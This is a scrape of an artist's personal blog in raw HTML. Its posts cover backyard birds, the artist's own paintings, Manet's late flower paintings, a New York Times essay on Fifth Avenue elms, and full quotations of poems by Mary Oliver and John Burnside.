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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ_e4XLfyMs4kmiiQLU1hkUZhDU-OCtn9aGV6Gx3X7PGbA7ztX7rz729xU1enfAgfTB4a-EP34ApQMX2emMDhAfT1N5KUH60W_Gu5JQ3bSKRenSzxpX812_pbuMoAfK0YDKKl4I2bW4gq5/s1600/nuthatch+on+1.21.2017.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="198" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ_e4XLfyMs4kmiiQLU1hkUZhDU-OCtn9aGV6Gx3X7PGbA7ztX7rz729xU1enfAgfTB4a-EP34ApQMX2emMDhAfT1N5KUH60W_Gu5JQ3bSKRenSzxpX812_pbuMoAfK0YDKKl4I2bW4gq5/s320/nuthatch+on+1.21.2017.JPG" width="320" /></a></div>
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This <span style="color: #660000;">Red-breasted Nuthatch</span> did not give up his place at the feeder while I made noises nearby, amazing bird. During the day I noticed <i>a lot</i> of bird activity: a <span style="color: #660000;">Flicker</span> had returned, not seen since October, and was eating ants in the grass. <span style="color: #660000;">Canadian geese</span> had returned, and a pair of <span style="color: #660000;">mallards</span> flew over the thawing lake. Many <span style="color: #660000;">Tufted Titmouses</span> were around for the first time this year. All were busy and making fine trills and tweets, Americans all.<br />
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I've returned to Ai-jane because the birds prompt me to do what I do, busily, not giving up, with tweet-song-joy.Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-17894772908577170512014-07-08T12:43:00.000-05:002014-07-08T12:43:17.635-05:00gruffGruff is a part of Mary Oliver's tone in her recent poem, "Blueberries."<br />
<h1 style="margin-bottom: 15px;">
Blueberries</h1>
<span style="color: #990000;">I’m living in a warm place now, where<br />you can purchase fresh blueberries all<br />year long. Labor free. From various<br />countries in South America. They’re<br />as sweet as any, and compared with the<br />berries I used to pick in the fields<br />outside Provincetown, they’re<br />enormous. But berries are berries. They<br />don’t speak any language I can’t<br />understand. Neither do I find ticks or<br />small spiders crawling among them. So,<br />generally speaking, I’m very satisfied.</span><br />
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<span style="color: #990000;">There are limits, however. What they<br />don’t have is the field. The field they<br />belonged to and through the years I<br />began to feel I belonged to. Well,<br />there’s life, and then there’s later.<br />Maybe it’s myself that I miss. The<br />field, and the sparrow singing at the<br />edge of the woods. And the doe that one<br />morning came upon me unaware, all<br />tense and gorgeous. She stamped her hoof<br />as you would to any intruder. Then gave<br />me a long look, as if to say, Okay, you<br />stay in your patch, I’ll stay in mine.<br />Which is what we did. Try packing that<br />up, South America.</span><br />
<h2 style="margin-top: 30px;">
- Mary Oliver</h2>
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<span style="font-weight: normal;">(this poem appear in the recent issue of <span style="color: #990000;">Orion</span>.)</span></div>
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<span style="font-weight: normal;">I just returned from visiting my getting-old mother in Florida, and last month M and I were in Cape Cod. Florida is much different than Cape Cod. Mary Oliver probably did not <i>want </i>to move south, away from Cape Cod. But getting old trumps what we want, often. We all wish her well in having to be away from where she lived for so long as a younger woman.</span></div>
Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-42276461728792109662014-03-08T22:22:00.000-06:002014-03-08T22:24:46.108-06:00dove, not<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUCZGtfEJsSiJJWoed7Rfrs05vknjzr5HwXObNm9BK43jB9PApDFmBtVvrlPtTrw_nE5rxEkzo4SXe1dDW4cGkKq0RXmXHVM08xa_QB9fXCtlcm3pypcsX7rigFx-osz2IhA4gbLORSTz9/s1600/Junco,+skittering,+winter.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUCZGtfEJsSiJJWoed7Rfrs05vknjzr5HwXObNm9BK43jB9PApDFmBtVvrlPtTrw_nE5rxEkzo4SXe1dDW4cGkKq0RXmXHVM08xa_QB9fXCtlcm3pypcsX7rigFx-osz2IhA4gbLORSTz9/s1600/Junco,+skittering,+winter.jpg" height="306" width="320" /></a></div>
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<span style="color: #990000; font-size: x-small;">Junco</span></div>
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<span style="color: #990000; font-size: x-small;">pigment, glue, charcoal/ paper</span></div>
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We call these little birds that skitter around below the bushes in our yards <span style="color: #990000;">Juncos</span>. They never seem to quarrel. They seem to wear hoods. If I could name them, I'd call them monkbirds.</div>
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This little painting sold; I just found out today. It is one that I might have liked to keep in our yard's home.</div>
Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-83809383214695369592014-02-24T20:23:00.000-06:002014-02-25T19:58:14.673-06:00trees<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzlG47rZBSsg7eBZnjs6yQ0gG0PjAKDdVvoCYeuN8M_3VBu7JvDtiixUMgG1cNj9lBxdprwoSpcILRdgbgbtlbBWpWx_VmnNBghEcHk1ODLFepvb6zWCggmofG3YmQSElDOr295Y6We4T3/s1600/Guy+Trebay's+Elms.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzlG47rZBSsg7eBZnjs6yQ0gG0PjAKDdVvoCYeuN8M_3VBu7JvDtiixUMgG1cNj9lBxdprwoSpcILRdgbgbtlbBWpWx_VmnNBghEcHk1ODLFepvb6zWCggmofG3YmQSElDOr295Y6We4T3/s1600/Guy+Trebay's+Elms.jpg" height="240" width="320" /></a></div>
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<span style="color: #990000; font-size: x-small;">"In the Treetops, A Winter Gift"</span></div>
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<span style="color: #990000; font-size: x-small;">by Guy Trebay</span></div>
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This two-page spread is in the middle of <i>Sunday Review</i>, in the middle of the Sunday New York Times (February 23 2014).</div>
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I'd been reading about the last day of the Sochi Olympics, El Chapo's arrest, Yanukovch's presidential residence, poop DNA collectors in Naples, an obit of James Cahill, whose books on Chinese art enlightened me, transgender soldiers, and then I turned the page to this spread: WOW.</div>
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I like Guy Trebay's writing whenever I see it (usually about fashion, his writing often becomes a wide romp about culture), so deft and funny (e.g. about the American uniforms for the Olympics opening ceremony that they reminded him of bad Christmas sweaters, oh gosh yes). Here he's writing about the Elms of Fifth Avenue, 2.5 miles of them, and amid the wonderful essay is the phrase "tabernacle of the air," glorious. (Trebay cites Henry Ward Beecher for this phrase; how<i>ever </i>did he come across it!)</div>
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Thank you Mr. Trebay and the NY Times. I so love coming across news/ an essay and photo (by Craig Blankenhorn) not about us but about trees.</div>
Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-41078679562808572852014-01-09T20:57:00.000-06:002014-01-09T20:57:07.635-06:00winter mind<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXsLVkxw9C94woBwKjAMbJkvSYXj7jMv-IDUv-ylst1tU_0SOGrljCstQVVfK8ZRzVCyqvzWekq6E6AB2ImQ6JC4bQxsHwy6FBRYwYdcPOrlGMmVVCyMOrFlzzHM2XyxFTRoD5KB8ioywm/s1600/Where+we+venture+forth.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXsLVkxw9C94woBwKjAMbJkvSYXj7jMv-IDUv-ylst1tU_0SOGrljCstQVVfK8ZRzVCyqvzWekq6E6AB2ImQ6JC4bQxsHwy6FBRYwYdcPOrlGMmVVCyMOrFlzzHM2XyxFTRoD5KB8ioywm/s1600/Where+we+venture+forth.jpg" height="234" width="320" /></a></div>
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<span style="color: #990000; font-size: x-small;"><i>where we venture forth</i></span></div>
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<span style="color: #990000; font-size: x-small;"><i>oil/linen 30x40"</i></span></div>
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<span style="color: #990000; font-size: x-small;"><i>January 2014</i></span></div>
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I have taken this phrase--where we venture forth-- from a wonderful book, <span style="color: #990000;">Hunger Mountain</span>, by David Hinton, a long-time translator of Chinese poets and philosophers. In this book, subtitled "A Field Guide to Mind and Landscape," Hinton merges his walks and thoughts with the thought and culture of classical Chinese. And he makes poems of his own: assemblages with phrases from his translations, with pregnant spaces around the fluttering-like words. It's a remarkable book.</div>
Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-14451153331194637602013-12-07T21:31:00.001-06:002013-12-07T21:31:32.201-06:00Manet's flower paintings, mastery<br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg39QOG5jnMcs_hzevR5uVAhfIU5v49q9RN8blABHNz_uHzb3HUXl44LnA5fTBSdfinDSzq3evq_hvjm2f9ctGHMRo06mDatmgTGedGDjFPp1HP76c4IZKzEzNBttcvQjojEb_G62IDb-xn/s1600/Manet's+two+roses.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg39QOG5jnMcs_hzevR5uVAhfIU5v49q9RN8blABHNz_uHzb3HUXl44LnA5fTBSdfinDSzq3evq_hvjm2f9ctGHMRo06mDatmgTGedGDjFPp1HP76c4IZKzEzNBttcvQjojEb_G62IDb-xn/s200/Manet's+two+roses.jpg" width="151" /></a></div>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiNiPuiqOdZLOBROjkBx1PA6n8kBaApU8m_1_ihZWfYHwrVy6yGs6i-eadb-CU3MArWcx3kllzDicfQ5QSNeOCDYIVwT89Xlmh62Y0iBWtz3VH-4EFO-BiC2KKfQyJ6B9BqquILvJWYH_-/s1600/bar-in-the-folies-bergere-.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: left;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiNiPuiqOdZLOBROjkBx1PA6n8kBaApU8m_1_ihZWfYHwrVy6yGs6i-eadb-CU3MArWcx3kllzDicfQ5QSNeOCDYIVwT89Xlmh62Y0iBWtz3VH-4EFO-BiC2KKfQyJ6B9BqquILvJWYH_-/s320/bar-in-the-folies-bergere-.jpg" width="320" /></a><div style="color: #990000; text-align: left;">
<i><span style="font-size: x-small;">Edouard Manet's "Roses in a Champagne Glass," 12"x9", oil/canvas</span></i></div>
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During the year Manet was dying, he started doing small paintings of flowers. This is one. Though small, still it shows Manet's dashing brushstrokes and Velasquez-like Spanish coloring--blacks and deep greys mixed with bright color punctuations. There is a lovely book of the sixteen flower paintings done before his death in the spring of 1883, <i style="color: #990000;">The Last Flowers of Manet</i>, text by Andrew Forge. Mr. Forge points out that the tabletop here is the same one that the barmaid leans upon in <i style="color: #990000;">"A Bar at the Folies-Gergere," </i>his last major painting, completed a year before his death in the spring of 1883. In that complicated picture, there are two roses in a champagne glass in front of the barmaid.</div>
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I did a small flower painting yesterday, thinking of Manet. Grey winter is all around us here. The quick painting obviously nods to the one above, but has more paint and more inter-ference with the space around it, brighter color, less darkness.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK10e328yEnQf2WxLBKtJEt3F1O6QDFAoD8SU_67R57-kq_tHZWKD2buGw1MjhHJtZZ8C5vfNaPAKc9N1cuw7EzhSCAjWZDAGpIJf0RZR2aTtqIfrXNSa2qdI3IQirX8uMNCvcdXLCUR4h/s1600/Three+roses+in+December.jpg" imageanchor="1" style="clear: right; display: inline !important; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK10e328yEnQf2WxLBKtJEt3F1O6QDFAoD8SU_67R57-kq_tHZWKD2buGw1MjhHJtZZ8C5vfNaPAKc9N1cuw7EzhSCAjWZDAGpIJf0RZR2aTtqIfrXNSa2qdI3IQirX8uMNCvcdXLCUR4h/s200/Three+roses+in+December.jpg" width="149" /></a></div>
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<span style="color: #990000; font-size: x-small;"><i>Three roses in December, 12"x9," oil and pigment/board</i></span></div>
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<br />Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-54612092152991130332013-11-02T19:35:00.000-05:002013-11-02T19:35:20.560-05:00sky colors<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX01QriltEnNVpe1gJmFp7lDVxPwyzH618a_1nPIWZgnoUs92LXxHgpJTmChx43NrJh22Cva-pEnQElAtsRr5w-vJOzitDTUlYf3xJ3Bl1qVoBKxZQPOj75fNHQQD0EJuC6NYDnoAAMMP0/s1600/katherine+Irish+skypainting.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="234" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX01QriltEnNVpe1gJmFp7lDVxPwyzH618a_1nPIWZgnoUs92LXxHgpJTmChx43NrJh22Cva-pEnQElAtsRr5w-vJOzitDTUlYf3xJ3Bl1qVoBKxZQPOj75fNHQQD0EJuC6NYDnoAAMMP0/s320/katherine+Irish+skypainting.jpg" width="320" /></a></div>
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<span style="color: #990000; font-size: x-small;"><i>pastel/paper</i></span></div>
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<span style="color: #990000; font-size: x-small;"><i>by Katherine Irish</i></span></div>
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<span style="color: #990000;">Katherine Irish </span>has a wonderful collection of paintings on exhibit now in <a href="http://www.convergencegallery.com/">Convergence Gallery</a> in Santa Fe. Katherine is a master colorist, and she loves New Mexico. The colors waft in the sky. Bravo!</div>
Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-59676128076651520332013-10-03T13:39:00.000-05:002013-10-03T13:39:57.994-05:00Peregrines<div style="text-align: center;">
<span style="color: #990000;">Peregrines</span></div>
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<span style="color: #990000;">Soon they will kill the falcons that breed in the quarry,</span></div>
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<span style="color: #990000;">(it's only a matter of time: raptors need space</span></div>
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<span style="color: #990000;">and, in these parts, space equals money):</span></div>
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<span style="color: #990000;">but now, for a season, they fly low over the fields</span></div>
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<span style="color: #990000;">and the thin paths that run to the woods</span></div>
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<span style="color: #990000;">at Gillingshill,</span></div>
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<span style="color: #990000;">the children calling out on Sunday walks</span></div>
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<span style="color: #990000;">to stop and look</span></div>
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<span style="color: #990000;">and all of us</span></div>
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<span style="color: #990000;">pausing to turn in our tracks while the mortgaged land</span></div>
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<span style="color: #990000;">falls silent for miles around, the village below us</span></div>
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<span style="color: #990000;">empty and grey as the vault where its money sleeps,</span></div>
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<span style="color: #990000;">and the moment so close to sweet, while we stand and wait</span></div>
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<span style="color: #990000;">for the flicker of sky in our bones</span></div>
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<span style="color: #990000;">that is almost flight.</span></div>
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The poet is John Burnside. He lives in Scotland, where he now teaches. He was born in 1955.</div>
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The lovely flutter of co-life in the ending lines is wonderful. The whole poem, quietly, is wonderful.</div>
Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0